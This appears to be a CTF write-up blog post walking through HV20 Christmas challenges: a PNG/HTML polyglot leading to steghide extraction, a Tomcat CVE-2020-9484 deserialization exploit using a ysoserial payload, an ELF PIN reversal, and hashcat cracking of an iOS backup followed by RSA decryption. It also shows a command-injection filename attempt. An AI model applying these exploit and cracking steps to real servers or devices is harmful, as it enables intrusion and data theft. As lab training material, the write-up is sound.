The leet challenges started on day 20, but then followed an additional three hard challenges before the second and final leet one. These were all really good challenges. My favorite was a binary and a PCAP of an attacker exploiting the binary, where I needed to reverse the crypto operations in the binary and the exploit to recover the data that was stolen. I really liked one that was another polyglot file where an image turned into an HTML page that dropped a Python script which pull out a docker image containing images that contained a flag. There was also more web exploitation of a Tomcat deserialization CVE, a really interesting ELF reversing challenge, and pulling data from an iOS backup.



hv20-ball20 HV20.20 Twelve steps of Christmas
Categories: forensicFORENSIC
Level: leet
Author: Bread

On the twelfth day of Christmas my true love sent to me… twelve rabbits a-rebeling, eleven ships a-sailing, ten (twentyfourpointone) pieces a-puzzling, and the rest is history.


There is also a hint:

You should definitely give Bread’s famous easy perfect fresh rosemary yeast black pepper bread a try this Christmas!



Starting with the image, binwalk shows embedded files within it, including an HTML page:

$ binwalk bfd96926-dd11-4e07-a05a-f6b807570b5a.png 

0             0x0             PNG image, 1632 x 1011, 8-bit/color RGBA, non-interlaced
41            0x29            HTML document header
6152          0x1808          Base64 standard index table
6970          0x1B3A          HTML document footer
7021          0x1B6D          Zlib compressed data, default compression

Looking at the file in a text editor, there’s HTML tags including a block of JavaScript not too far from the top:

image-20201222135219751Click for full size image

I spent some time trying to cut the HTML page out of this file and get it to work, but it turns out the entire file is a polyglot, functioning as both an image or an HTML page. After making a copy with the .html extension, it opens in Firefox and shows the picture. Clicking in the picture causes some whitespace to appear on top of the image (pushing it down the page) and a text area to appear under it, empty.

JavaScript Analysis

View-Source doesn’t seem to work on the page, but looking in the dev console, the script is there:


JSNice is a good way to clean up and make readable the script. There’s a SHA1 function, which I tested in the console and does perform an actual SHA1-hash, and a B64 function which does seem to do legit base64 encoding.

The download function is interesting:

function download(uri, id) {
  /** @type {!Element} */
  var a = document.createElement("a");
  a.setAttribute("href", "data:application/octet-stream;base64," + id);
  a.setAttribute("target", "_blank");
  a.setAttribute("download", uri);
  /** @type {string} */ = "none";

It creates a link on the page, clicks it, and then removes it. There’s also script a the bottom that runs the dID function on page load.

window.onload = function() {
  /** @type {function(): undefined} */
  px.onclick = dID;

The dID function

function dID() {
  /** @type {!Element} */
  cvs = document.createElement("canvas");
  /** @type {string} */
  cvs.crossOrigin = px.crossOrigin = "Anonymous";
  px.parentNode.insertBefore(cvs, px);
  cvs.width = px.width;
  /** @type {string} */ = px.width + "px";
  cvs.height = px.height;
  /** @type {string} */ = "15em";
  /** @type {string} */ = "visible";
  var passwd = SHA1("p=")[1]).toUpperCase();
  /** @type {string} */
  log.value = "TESTING: " + passwd + "\n";
  if (passwd == "60DB15C4E452C71C5670119E7889351242A83505") {
    log.value += "Success\nBit Layer=" + bL + "\nPixel grid=" + gr + "x" + gr + "\nEncoding Density=1 bit per " + gr * gr + " pixels\n";
    /** @type {!Array} */
    var channelOptions = ["Red", "Green", "Blue", "All"];
...[snip drawing / decoding]...
    var length = parseInt(bTS(params.join("")));
    log.value += "Total pixels decoded=" + b + "\n";
    log.value += "Decoded data length=" + length + " bytes.\n"; = pdt;
    ctx.putImageData(pix, 0, 0);
    var downloadId = B64(bTS(params.join("")));
    /** @type {string} */
    var url = "";
    log.value += "Packaging " + url + " for download\n";
    log.value += "Safari and IE users, save the Base64 data and decode it manually please,Chrome/edge users CORS, move to firefox.\n";
    log.value += 'BASE64 data="' + downloadId + '"\n';
    download(, and , downloadId);
  } else {
    log.value += "failed.\n";

This function checks for a password to see if its SHA1 hash matches a static value, and then does a bunch of decoding and drawing, and eventually calls the download function.

The SHA1 is 60DB15C4E452C71C5670119E7889351242A83505, which crackstation will break as “bunnyrabbitsrule4real”.

passwd is set here:

  var passwd = SHA1("p=")[1]).toUpperCase();

That’s getting the url, splitting on p=, and returning the right half. I’ll add ?p=bunnyrabbitsrule4real to the end of the url, and now when I click on a rabbit, there’s a popup asking me to open or save


There’s also some dots added above the bunnies:

image-20201222135631528Click for full size image

And that textarea has status in it:

image-20201222135716181Click for full size image

The status text is:

TESTING: 60DB15C4E452C71C5670119E7889351242A83505
Bit Layer=1
Pixel grid=2x2
Encoding Density=1 bit per 4 pixels
Encoding Channel=All
Image Resolution=1632x1011
Total pixels decoded=7352
Decoded data length=913 bytes.
Packaging for download
Safari and IE users, save the Base64 data and decode it manually please,Chrome/edge users CORS, move to firefox.
BASE64 data="aW1wb3J0IHN5cwppID0gYnl0ZWFycmF5KG9wZW4oc3lzLmFyZ3ZbMV0sICdyYicpLnJlYWQoKS5zcGxpdChzeXMuYXJndlsyXS5lbmNvZGUoJ3V0Zi04JykgKyBiIlxuIilbLTFdKQpqID0gYnl0ZWFycmF5KGIiUmFiYml0cyBhcmUgc21hbGwgbWFtbWFscyBpbiB0aGUgZmFtaWx5IExlcG9yaWRhZSBvZiB0aGUgb3JkZXIgTGFnb21vcnBoYSAoYWxvbmcgd2l0aCB0aGUgaGFyZSBhbmQgdGhlIHBpa2EpLiBPcnljdG9sYWd1cyBjdW5pY3VsdXMgaW5jbHVkZXMgdGhlIEV1cm9wZWFuIHJhYmJpdCBzcGVjaWVzIGFuZCBpdHMgZGVzY2VuZGFudHMsIHRoZSB3b3JsZCdzIDMwNSBicmVlZHNbMV0gb2YgZG9tZXN0aWMgcmFiYml0LiBTeWx2aWxhZ3VzIGluY2x1ZGVzIDEzIHdpbGQgcmFiYml0IHNwZWNpZXMsIGFtb25nIHRoZW0gdGhlIHNldmVuIHR5cGVzIG9mIGNvdHRvbnRhaWwuIFRoZSBFdXJvcGVhbiByYWJiaXQsIHdoaWNoIGhhcyBiZWVuIGludHJvZHVjZWQgb24gZXZlcnkgY29udGluZW50IGV4Y2VwdCBBbnRhcmN0aWNhLCBpcyBmYW1pbGlhciB0aHJvdWdob3V0IHRoZSB3b3JsZCBhcyBhIHdpbGQgcHJleSBhbmltYWwgYW5kIGFzIGEgZG9tZXN0aWNhdGVkIGZvcm0gb2YgbGl2ZXN0b2NrIGFuZCBwZXQuIFdpdGggaXRzIHdpZGVzcHJlYWQgZWZmZWN0IG9uIGVjb2xvZ2llcyBhbmQgY3VsdHVyZXMsIHRoZSByYWJiaXQgKG9yIGJ1bm55KSBpcywgaW4gbWFueSBhcmVhcyBvZiB0aGUgd29ybGQsIGEgcGFydCBvZiBkYWlseSBsaWZlLWFzIGZvb2QsIGNsb3RoaW5nLCBhIGNvbXBhbmlvbiwgYW5kIGEgc291cmNlIG9mIGFydGlzdGljIGluc3BpcmF0aW9uLiIpCm9wZW4oJzExLjd6JywgJ3diJykud3JpdGUoYnl0ZWFycmF5KFtpW19dIF4galtfJWxlbihqKV0gZm9yIF8gaW4gcmFuZ2UobGVuKGkpKV0pKQA"

The data base64-decodes to the same Python file that is offered as a download.

Python Script

The Python script is simple, taking two arguments. The first is a file to open. The second is a string. It will open and read the file, and split it based on the second input string plus a newline, and take the last result.

It will then xor that result byte by byte with some text in the file, and write the result to 11.7z.

import sys
i = bytearray(open(sys.argv[1], 'rb').read().split(sys.argv[2].encode('utf-8') + b"\n")[-1])
j = bytearray(b"Rabbits are small mammals in the family Leporidae of the order Lagomorpha (along with the hare and the pika). Oryctolagus cuniculus includes the European rabbit species and its descendants, the world's 305 breeds[1] of domestic rabbit. Sylvilagus includes 13 wild rabbit species, among them the seven types of cottontail. The European rabbit, which has been introduced on every continent except Antarctica, is familiar throughout the world as a wild prey animal and as a domesticated form of livestock and pet. With its widespread effect on ecologies and cultures, the rabbit (or bunny) is, in many areas of the world, a part of daily life-as food, clothing, a companion, and a source of artistic inspiration.")
open('11.7z', 'wb').write(bytearray([i[_] ^ j[_%len(j)] for _ in range(len(i))]))

It’s fair to guess that the file is the original image file, but I need a string to give as the second arg. There’s two ways to find it.

First, this is where the hint recipe comes into play. It’s in the Chef esoteric programming language. Running it in this online interpreter produced a message box:


The other way to find the key is just to look for strings that end in a newline that might make a good key. This command returned a list of strings that all end in newline with between eight and fifteen printable characters proceeding it:

$ strings bfd96926-dd11-4e07-a05a-f6b807570b5a.png | grep -oP '\w{8,15}$' | less

Looking through the list, “breadbread” is in there.

Running the Python script with these inputs creates 11.7z, and it is in fact a a 7-zip archive:

$ python3 bfd96926-dd11-4e07-a05a-f6b807570b5a.png breadbread
$ file 11.7z 
11.7z: 7-zip archive data, version 0.4

Docker Image

Extracting this archive with 7z x 11.7z produces a .tar archive, 11.tar. Extracting that with tar xvf 11.tar produces a handful of files:


Some googling with these terms will show this is a file related to Docker, specifically the output of the docker save command. The manifest.json describes the config (1d66b052bd26bb9725d5c15a5915bed7300e690facb51465f2d0e62c7d644649.json) and points to all the layers. I’ll come back to this config later.

I can load this .tar directly into Docker:

# service docker start  # make sure the Docker daemon is running
# docker image load --input 11.tar
ace0eda3e3be: Loading layer [==================================================>]  5.843MB/5.843MB
f9a8379022de: Loading layer [==================================================>]  5.838MB/5.838MB
1c50319140b2: Loading layer [==================================================>]  12.29kB/12.29kB
5f70bf18a086: Loading layer [==================================================>]  1.024kB/1.024kB
56553910173d: Loading layer [==================================================>]  6.078MB/6.078MB
Loaded image: 12stepsofchristmas:11

root@kali# docker images
REPOSITORY           TAG                      IMAGE ID            CREATED             SIZE
12stepsofchristmas   11                       1d66b052bd26        12 days ago         17.3MB

It now shows up in my list of local images:

# docker image ls
REPOSITORY           TAG                      IMAGE ID            CREATED             SIZE
12stepsofchristmas   11                       1d66b052bd26        2 weeks ago         17.3MB

To get a shell, I’ll run the image with -it:

# docker run -it 12stepsofchristmas:11 sh
~ $ id
uid=1000(bread) gid=1000(bread)

There’s a single directory in /home/bread, and bread can’t get into it or change it:

~ $ ls
~ $ cd flimflam/
sh: cd: can't cd to flimflam/: Permission denied
~ $ ls -l
total 4
d---------    2 root     bread         4096 Dec  8 03:41 flimflam
~ $ chmod 777 flimflam/
chmod: flimflam/: Operation not permitted

I can just exit the container and enter again as root:

# docker run -u root -it 12stepsofchristmas:11 sh
/home/bread # cd flimflam/
/home/bread/flimflam #

Assemble Image

The flimflam directory contains 241 files, each containing 24,400 bytes (except the last one is smaller) of hex data:

/home/bread/flimflam # ls
flomaa  flomam  flomay  flombk  flombw  flomci  flomcu  flomdg  flomds  flomee  flomeq  flomfc  flomfo  flomga  flomgm  flomgy  flomhk  flomhw  flomii  flomiu  flomjg
flomab  floman  flomaz  flombl  flombx  flomcj  flomcv  flomdh  flomdt  flomef  flomer  flomfd  flomfp  flomgb  flomgn  flomgz  flomhl  flomhx  flomij  flomiv
flomac  flomao  flomba  flombm  flomby  flomck  flomcw  flomdi  flomdu  flomeg  flomes  flomfe  flomfq  flomgc  flomgo  flomha  flomhm  flomhy  flomik  flomiw
flomad  flomap  flombb  flombn  flombz  flomcl  flomcx  flomdj  flomdv  flomeh  flomet  flomff  flomfr  flomgd  flomgp  flomhb  flomhn  flomhz  flomil  flomix
flomae  flomaq  flombc  flombo  flomca  flomcm  flomcy  flomdk  flomdw  flomei  flomeu  flomfg  flomfs  flomge  flomgq  flomhc  flomho  flomia  flomim  flomiy
flomaf  flomar  flombd  flombp  flomcb  flomcn  flomcz  flomdl  flomdx  flomej  flomev  flomfh  flomft  flomgf  flomgr  flomhd  flomhp  flomib  flomin  flomiz
flomag  flomas  flombe  flombq  flomcc  flomco  flomda  flomdm  flomdy  flomek  flomew  flomfi  flomfu  flomgg  flomgs  flomhe  flomhq  flomic  flomio  flomja
flomah  flomat  flombf  flombr  flomcd  flomcp  flomdb  flomdn  flomdz  flomel  flomex  flomfj  flomfv  flomgh  flomgt  flomhf  flomhr  flomid  flomip  flomjb
flomai  flomau  flombg  flombs  flomce  flomcq  flomdc  flomdo  flomea  flomem  flomey  flomfk  flomfw  flomgi  flomgu  flomhg  flomhs  flomie  flomiq  flomjc
flomaj  flomav  flombh  flombt  flomcf  flomcr  flomdd  flomdp  flomeb  flomen  flomez  flomfl  flomfx  flomgj  flomgv  flomhh  flomht  flomif  flomir  flomjd
flomak  flomaw  flombi  flombu  flomcg  flomcs  flomde  flomdq  flomec  flomeo  flomfa  flomfm  flomfy  flomgk  flomgw  flomhi  flomhu  flomig  flomis  flomje
flomal  flomax  flombj  flombv  flomch  flomct  flomdf  flomdr  flomed  flomep  flomfb  flomfn  flomfz  flomgl  flomgx  flomhj  flomhv  flomih  flomit  flomjf
/home/bread/flimflam # head flomaa

This container doesn’t have xxd with the -r option, so I decided to exfil all the files out. First I created an archive:

/home/bread # tar -czf ff.tar.gz flimflam/
/home/bread # ls
ff.tar.gz  flimflam

Now just copy it out:

# docker cp 26e0b063e937:/home/bread/ff.tar.gz .
# tar zxf ff.tar.gz

At this point I could go back to the config file from the container image, but I managed to guess the next step without that. I used cat to dump all the files into xxd -r -p to convert from hex to binary, and the resulting file was an image:

# cat * | xxd -r -p > flimflam.jpg
# file flimflam.jpg 
flimflam.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 4032x2268, components 3

More bunnies!


At this point, I need to look at how this image was created. In the docker tarball, there’s a json config file (I’ll cat it into jq . to pretty print it):

  "architecture": "amd64",
  "config": {
    "User": "bread",
    "Env": [
    "Cmd": [
      "tail -f /dev/null"
    "WorkingDir": "/home/bread/",
    "ArgsEscaped": true,
    "OnBuild": null
  "created": "2020-12-08T14:41:59.119577934+11:00",
  "history": [
      "created": "2020-10-22T02:19:24.33416307Z",
      "created_by": "/bin/sh -c #(nop) ADD file:f17f65714f703db9012f00e5ec98d0b2541ff6147c2633f7ab9ba659d0c507f4 in / "
      "created": "2020-10-22T02:19:24.499382102Z",
      "created_by": "/bin/sh -c #(nop)  CMD [\"/bin/sh\"]",
      "empty_layer": true
      "created": "2020-12-08T14:41:33.015297112+11:00",
      "created_by": "RUN /bin/sh -c apk update && apk add  --update-cache --repository --allow-untrusted steghide xxd # buildkit",
      "comment": "buildkit.dockerfile.v0"
      "created": "2020-12-08T14:41:33.4777984+11:00",
      "created_by": "RUN /bin/sh -c adduser --disabled-password --gecos '' bread # buildkit",
      "comment": "buildkit.dockerfile.v0"
      "created": "2020-12-08T14:41:33.487504964+11:00",
      "created_by": "WORKDIR /home/bread/",
      "comment": "buildkit.dockerfile.v0"
      "created": "2020-12-08T14:41:59.119577934+11:00",
      "created_by": "RUN /bin/sh -c cp /tmp/t/bunnies12.jpg bunnies12.jpg && steghide embed -e loki97 ofb -z 9 -p \"bunnies12.jpg\\\\\\\" -ef /tmp/t/hidden.png -p \\\\\\\"SecretPassword\" -N -cf \"bunnies12.jpg\" -ef \"/tmp/t/hidden.png\" && mkdir /home/bread/flimflam && xxd -p bunnies12.jpg > flimflam/snoot.hex && rm -rf bunnies12.jpg && split -l 400 /home/bread/flimflam/snoot.hex /home/bread/flimflam/flom && rm -rf /home/bread/flimflam/snoot.hex && chmod 0000 /home/bread/flimflam && apk del steghide xxd # buildkit",
      "comment": "buildkit.dockerfile.v0"
      "created": "2020-12-08T14:41:59.119577934+11:00",
      "created_by": "USER bread",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
      "created": "2020-12-08T14:41:59.119577934+11:00",
      "created_by": "CMD [\"/bin/sh\" \"-c\" \"tail -f /dev/null\"]",
      "comment": "buildkit.dockerfile.v0",
      "empty_layer": true
  "os": "linux",
  "rootfs": {
    "type": "layers",
    "diff_ids": [

One of the layers was created by the following command:

"created_by": "RUN /bin/sh -c cp /tmp/t/bunnies12.jpg bunnies12.jpg && steghide embed -e loki97 ofb -z 9 -p \"bunnies12.jpg\\\\\\\" -ef /tmp/t/hidden.png -p \\\\\\\"SecretPassword\" -N -cf \"bunnies12.jpg\" -ef \"/tmp/t/hidden.png\" && mkdir /home/bread/flimflam && xxd -p bunnies12.jpg > flimflam/snoot.hex && rm -rf bunnies12.jpg && split -l 400 /home/bread/flimflam/snoot.hex /home/bread/flimflam/flom && rm -rf /home/bread/flimflam/snoot.hex && chmod 0000 /home/bread/flimflam && apk del steghide xxd # buildkit"

Right away I can see it’s using steghide to embed something in an image, and then using xxd to hex encode it and split to break it into parts. Then it deletes things. I’ll clean up the escapes by removing the first layer of "" and adding new lines between the commands:

cp /tmp/t/bunnies12.jpg bunnies12.jpg && 
steghide embed -e loki97 ofb -z 9 -p "bunnies12.jpg\" -ef /tmp/t/hidden.png -p \"SecretPassword" -N -cf "bunnies12.jpg" -ef "/tmp/t/hidden.png" && 
mkdir /home/bread/flimflam && 
xxd -p bunnies12.jpg > flimflam/snoot.hex && 
rm -rf bunnies12.jpg && 
split -l 400 /home/bread/flimflam/snoot.hex /home/bread/flimflam/flom && 
rm -rf /home/bread/flimflam/snoot.hex && 
chmod 0000 /home/bread/flimflam && 
apk del steghide xxd

Given that I’ve recovered the image, what’s left is the steghide. I’ll need to be careful as I break out the command syntax here, as there’s a trick in it, but the syntax highlighting above actually makes it really clear. The password for the steg is bunnies12.jpg\" -ef /tmp/t/hidden.png -p \"SecretPassword. I can paste it in when prompted, or add back some escapes and enter it at the command line:

# steghide extract -sf flimflam.jpg -xf hidden.png
Enter passphrase: 
wrote extracted data to "hidden.png".
# steghide extract -sf flimflam.jpg -xf hidden.jpg -p "bunnies12.jpg\\\" -ef /tmp/t/hidden.png -p \\\"SecretPassword"
the file "hidden.png" does already exist. overwrite ? (y/n) y
wrote extracted data to "hidden.png".

This image has a QRCode:

Scanning that or uploading to gives the flag.

Flag: HV20{My_pr3c10u5_my_r363x!!!,_7hr0w_17_1n70_7h3_X1._-_64l4dr13l}



hv20-ball21 HV20.21 Threatened Cat
Categories: web securityWEB SECURITY
Level: hard
Author: inik

You can feed this cat with many different things, but only a certain kind of file can endanger the cat.

Do you find that kind of files? And if yes, can you use it to disclose the flag? Ahhh, by the way: The cat likes to hide its stash in /usr/bin/catnip.txt.

Note: The cat is currently in hibernation and will take a few seconds to wake up.

There’s a link to start an instance of the webserver.



Visiting the url http://afd7ca93-d618-4f68-adf9-b55b8bcddbc1.idocker.vuln.landredirects to both https and /cat/. The site is an ASCII cat with an upload form:

The response headers don’t give anything away as far as the server type:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 100
Content-Type: text/html
Date: Mon, 21 Dec 2020 23:48:49 GMT
Etag: W/"100-1605869035000"
Last-Modified: Fri, 20 Nov 2020 10:43:55 GMT
Connection: close

On uploading files to the server, the cat will report back about them:


If the upload is too big, the site rejects it:


Things That Didn’t Work

Given the challenge didn’t suggest the VPN (so reverse shell not needed) and gives the file location, I had a few ideas of things to go after.

  • I checked to see if the server was PHP by trying to visit index.php in the /cat/ directory, but it just returned 404 with a redirect to /cat/. Given the file upload, I tried a PHP webshell anyway, but visiting the url just returned the PHP code, no execution.

  • Given the information about the content of the file, I thought perhaps the file command was being used on it. I tried some command injections by changing the file name to things like “a.php; id”, but the file name seemed to just be that filename, no injection.

  • The page reports that the uploaded files are saved to /usr/local/uploads, which also seems to be served from /cat/files/. I tried a lot of things that might allow me to read outside of that directory, but anything in the GET request to get files like that seemed to return 400 Bad Request. I was able to upload files to anywhere on the system that this user could write by changing the form header like so:

    Content-Disposition: form-data; name="file"; filename="/tmp/kitten-large.png"
    Content-Type: image/png

    It then shows up as saved to this location, and but it’s not in my list of files to access:



When I treid to check if index.php would load that the root, the page crashed differently:


The server is running Apache Tomcat (fits the cat theme), and the version is 9.0.34. Googling that version of Tomcat led to CVE-2020-9484, an exploit I used against a HTB machine recently. This post gives a really nice writeup, but the short version is that if I can upload a file and then reference the relative path to that file in a cookie, I can get Tomcat to deserialize that file, which is a way to gain code execution.

To build a payload, I’ll use yososerial to generate a serialized Java payload. You have to find a payload type (there are many to try) and pick a command to run. A successful RCE will crash the current thread, so no output is returned. Given that, I’ll have the exploit copy the flag file into the /usr/local/uploads/ directory. I’ll try different payloads until one works (I’ve had the most luck with the CommonCollections series):

$ java -jar /opt/ysoserial/ysoserial-master-SNAPSHOT.jar CommonsCollections2 'cp /usr/bin/catnip.txt /usr/local/uploads/0xdf.txt' > catnip.session

On uploading that, the cat reports to be threatened:


I’ll turn on Burp Proxy with Intercept on, and refresh that main page. I’ll edit the cookie value and send it on:


The page crashes:


But on going back to the main page, 0xdf.txt is now listed in the files:


Downloading the file gives the flag:

$ curl -L

Flag: HV20{!D3s3ri4liz4t10n_rulz!}



hv20-ball22 HV20.22 Padawanlock
Categories: reverse engineeringREVERSE ENGINEERING
Level: hard
Author: inik

A new apprentice Elf heard about “Configuration as Code”. When he had to solve the problem to protected a secret he came up with this “very sophisticated padlock”.

There’s a zip archive containing an ELF binary.


Running It

Running the binary prompts for a pin, and then prints a string that looks kind of flag-like but isn’t a flag:

$ ./padawanlock 
PIN (6 digits): 000000
$  ./padawanlock 
PIN (6 digits): 013370    
Unlocked secret is: LE_IS_ME_GOING_BACK_DER!}

Given that there are 1,000,000 possible inputs, it’ll take too long to try them all.

Static Analysis

Opening the file in Ghidra, there aren’t too many functions. A strings search identifies the function at 0x111e0, which I’ll call main:

void main(void)

  char *__nptr;
  int int_input;
  __nptr = gets(&DAT_013261be);
  __nptr[6] = '\0';
  int_input = atoi(__nptr);
  (*(FUN_0001124b + int_input * 0x14))();

For the most part, this is quite simple. It prints the message asking for a six digit pin, reads that with gets, adds a null to the end to ensure it’s only six digits, converts the string to an int. The next two lines are interesting, and I’ll come back to them. Then it prints the message about the unlocked secret, and the global flag string, and returns.

What’s odd is that first it calls the address at 0x1124b + input * 0x14. That means there are a million different blocks of code that can be jumped into, each 20 bytes apart. The other odd thing is the function I’ve labeled early_exit, which calls exit to end the program. Since I’ve watched the program successfully print, it either must jump there from within the million code blocks, or it must print out the same thing elsewhere.

Jump Code

Looking at the code jumped to with PIN 000000, it’s pretty simple:

                             LAB_0001124b -- pin 000000                      XREF[1]:     main:00011215(*)  
        0001124b b9 7c 2a        MOV        ECX,0x1502a7c
                 50 01
                             LAB_00011250                                    XREF[1]:     00011254(j)  
        00011250 49              DEC        ECX
        00011251 83 f9 00        CMP        ECX,0x0
        00011254 75 fa           JNZ        LAB_00011250
        00011256 c6 03 7b        MOV        byte ptr [EBX],'{'
        00011259 43              INC        EBX
        0001125a e9 14 de        JMP        LAB_00aef073
                 ad 00
                             LAB_0001125f -- pin 000001
        0001125f b9 a8 14        MOV        ECX,0x15014a8
                 50 01
                             LAB_00011264                                    XREF[1]:     00011268(j)  
        00011264 49              DEC        ECX
        00011265 83 f9 00        CMP        ECX,0x0
        00011268 75 fa           JNZ        LAB_00011264
        0001126a c6 03 46        MOV        byte ptr [EBX],0x46
        0001126d 43              INC        EBX
        0001126e e9 58 3e        JMP        LAB_008d50cb
                 8c 00

It sets ECX to some large number, then enters a loop that decrements ECX, breaking when ECX is 0. This is just a loop to waste some time / computer cycles. Then it moves the character { into the address as EBX, increments EBX, and jumps to some other address. What’s interesting is that this block is exectly 0x14 = 20 bytes long, and immediately following this block is another of the same form.

The character here is {, which is the first character in the string that came out when I ran the program and entered 000000. Following the jump the next block is the same, just with a W character:

                             LAB_00aef073 -- pin 569730                      XREF[1]:     0001125a(j)  
        00aef073 b9 1a 0c        MOV        ECX,0x1500c1a
                 50 01
                             LAB_00aef078                                    XREF[1]:     00aef07c(j)  
        00aef078 49              DEC        ECX
        00aef079 83 f9 00        CMP        ECX,0x0
        00aef07c 75 fa           JNZ        LAB_00aef078
        00aef07e c6 03 57        MOV        byte ptr [EBX],'W'
        00aef081 43              INC        EBX
        00aef082 e9 9c b2        JMP        LAB_00a1a323
                 f2 ff

In fact, if pin 569730 is entered, it prints the same output as pin 000000 without the first character:

$ ./padawanlock 
PIN (6 digits): 000000

$ ./padawanlock 
PIN (6 digits): 569730

It’s clear the program is building the string based on the starting block identified by the pin. Following this for a while, eventually it ends up with a jump to 0x11226:

                             LAB_0038318b                                    XREF[1]:     011c3e9e(j)  
        0038318b b9 65 01        MOV        ECX,0x1500165
                 50 01
                             LAB_00383190                                    XREF[1]:     00383194(j)  
        00383190 49              DEC        ECX
        00383191 83 f9 00        CMP        ECX,0x0
        00383194 75 fa           JNZ        LAB_00383190
        00383196 c6 03 7d        MOV        byte ptr [EBX],'}'
        00383199 43              INC        EBX
        0038319a e9 87 e0        JMP        LAB_00011226
                 c8 ff

This is just back into main, to the line that loads the static “Unlocked secret is:” string to pass to printf.

Each pin starts execution into this block of code, where it jumps around collecting characters and wasting time before ending with the print.


Given this known understanding of the file, a Python script can read in the binary file, focus on the 20 * 1000000 bytes of code blocks, and jump through them collecting characters.

I’ll read in the file, and isolate the block of code:

with open('padawanlock', 'rb') as f:
    binary =

start = 4683
block = binary[start:start+(1000000*20)]

Next, I’ll write a function that recursively builds the string. I takes a starting block and will find the character at that offset (13 bytes into the block), and then return that character + the function called with the offset of the jump. The jump is a relative jump, so that address is relative to the next instruction, which would be the start of the next block, or the start of the current block plus 20.

I’ll use lru_cache so that any time the same block is passed in, it can immediately return the result without re-running all the recursive calls.

def get_string(start):
    if start < 0:
        return ''
    c = chr(block[start + 13])
    if ord(c) > 127:
        import pdb;pdb.set_trace()
    rest = start + 20 + struct.unpack("<i", block[16+start:20+start])[0]
    return c + get_string(rest)

When the program tries to jump into the code above the first block (start < 0), it returns nothing as that’s the end of the string.

Now I can just loop over all million pins and look for a flag that starts with HC20{:

for i in range(1000000):
    res = get_string(i*20)
    if res.startswith('HV20{'):
        print(f'pin: {i:06d}  {res}')

All of this comes together and returns the flag in about three seconds:

$ time python3
pin: 451235  HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}

real    0m2.755s
user    0m2.580s
sys     0m0.130s   

If I comment out the lru_cache, it takes ten times as long:

# time python3
pin: 451235  HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}

real    0m31.685s
user    0m31.614s
sys     0m0.021s

Flag: HV20{C0NF1GUR4T10N_AS_C0D3_N0T_D0N3_R1GHT}

The full code follows:

#!/usr/bin/env python3
import struct
from functools import lru_cache

# @lru_cache(None)
def get_string(start):
    if start < 0:
        return ""
    c = chr(block[start + 13])
    if ord(c) > 127:
        import pdb

    rest = start + 20 + struct.unpack("<i", block[16 + start : 20 + start])[0]
    return c + get_string(rest)

with open("padawanlock", "rb") as f:
    binary =

start = 4683
block = binary[start : start + (1000000 * 20)]

for i in range(1000000):
    res = get_string(i * 20)
    if res.startswith("HV20{"):
        print(f"pin: {i:06d}  {res}")



hv20-ball23 HV20.23 Those who make backups are cowards!
Categories: iosIOS
Level: hard
Author: hardlock

Santa tried to get an important file back from his old mobile phone backup. Thankfully he left a post-it note on his phone with the PIN. Sadly Rudolph thought the Apple was real and started eating it (there we go again…). Now only the first of eight digits, a 2, is still visible…

But maybe you can do something to help him get his important stuff back?


The downloaded file contains a .rar archive.


Recover Pin

The .rar archive contains an iOS backup. There’s a bunch of 40-hex character named file that are different encrypted bits, as well as several other files. Given that I want to recover the pin, I followed this article. itunes_backup2hashcat will generate a hash from the Manifest.plist file:

$ /opt/itunes_backup2hashcat/ 5e8dfbc7f9f29a7645d66ef70b6f2d3f5dad8583/Manifest.plist 

I’ll save that hash in Manifest.hash. The format matches hashcat mode 14700. Since I know the password is eight digits, and the first is “2”, I can either make a wordlist, or use masks in Hashcat. On originally solving, I just made a wordlist:

$ for i in $(seq 20000000 30000000); do echo $i; done > nums

But a better way to do this is to give -a 3 to specify using masks as follows:

$ hashcat -a 3 -m 14700 ./Manifest.hash 2?d?d?d?d?d?d?d

That mask uses ?d to represent an unknown digit. It finds a pin I probably could have guessed, 20201225.

Access Files

To access the files in the backup, I used a free trial of FonePaw. On running it, there are some troll flags (and a hidden flag, see below), but what’s important is two contacts, M and N, each of which have a “notes” section that contains a very large integer:


Given the category of this challenge is crypto, and those two letters meaning when it comes to RSA, seems like there’s an RSA problem to solve here.

RSA Manually

N is the public key in RSA, so I’ll need to factor it. factordb is a good place to check, and it does have this one factored. Now I have p, q, n, and the message. I can assume the default e, 65537. That means the private key, d, is the mod inverse of e and the product of p-1 and q-1. In Python 3.8 and later, this can be done in one line:

>>> pow(e, -1, (p-1)*(q-1))

With d, I can decrypt the message:

>>> (pow(m,d,p*q)).to_bytes(27, 'big').decode()

Flag: HV20{s0rry_n0_gam3_to_play}


RsaCtfTool can do all of that math starting with n, e, and m through the plaintext message:

 python3 /opt/RsaCtfTool/ -n 77534090655128210476812812639070684519317429042401383232913500313570136429769 -e 65537 --uncipher 6344440980251505214334711510534398387022222632429506422215055328147354699502 --attack factordb
private argument is not set, the private key will not be displayed, even if recovered.

[*] Testing key /tmp/tmpnjopalj8.
[*] Performing factordb attack on /tmp/tmpnjopalj8.

Results for /tmp/tmpnjopalj8:

Unciphered data :
HEX : 0x0000000000485632307b73307272795f6e305f67616d335f746f5f706c61797d
INT (big endian) : 29757593747455483525592829184976151422656862335100602522242480509
INT (little endian) : 56753566960650598288217394598913266125073984765818621753275514254169309446144
STR : b'\x00\x00\x00\x00\x00HV20{s0rry_n0_gam3_to_play}'

I included the attack type of factordb, but it will do a bunch of other things and eventually get to that same conclusion (and fun for much longer) without that flag. Then it decrypts the message and prints the flag.



hv20-ballH3 HV20.H3 Hidden in Plain Sight
Categories: hiddenHIDDEN
Level: medium
Author: hardlock

I don’t know


In the previous challenge FonePaw showed not only the two contacts M and N, but a third contact with no name:


That contact contains only a homepage, but on inspection, the url doesn’t look like a valid url:

It does look like base64, which decodes to the hidden flag:

$ echo SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30= | base64 -d



hv20-ball24 HV20.24 Santa's Secure Data Storage
Categories: exploitationEXPLOITATION
network securityNETWORK SECURITY
reverse engineeringREVERSE ENGINEERING
Level: leet
Author: scryh

In order to prevent the leakage of any flags, Santa decided to instruct his elves to implement a secure data storage, which encrypts all entered data before storing it to disk.

According to the paradigm Always implement your own crypto the elves designed a custom hash function for storing user passwords as well as a custom stream cipher, which is used to encrypt the stored data.

